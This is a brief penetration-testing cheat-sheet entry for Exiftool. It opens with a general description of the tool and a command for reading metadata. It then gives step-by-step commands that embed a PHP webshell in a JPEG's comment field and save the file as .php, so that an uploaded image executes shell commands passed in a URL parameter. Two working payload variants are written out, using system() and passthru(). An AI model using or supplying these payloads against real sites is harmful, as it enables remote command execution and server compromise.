Exiftool

Tool for gathering information: reading, writing, and manipulating image, audio, and video metadata. Supports many types of metadata including Exif, IPTC, XMP, JFIF, GeoTIFF, ICC, Profile, Photoshop IRB, FlashPix, AFCP and ID3, as well as the manufacturer-specific metadata formats of many digital cameras.

Read metadata of a file

exiftool <filename>

Insert a PHP webshell payload in a .jpg file

Add the payload in metadata (comments).

The payload must be on one line!

wget -O kitten.jpg http://placekitten.com/100/100
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' kitten.jpg -o webshell-jpg.php
exiftool -Comment='<?php echo "<pre>"; passthru($_REQUEST[c]); ?>' kitten.jpg -o webshell-jpg.php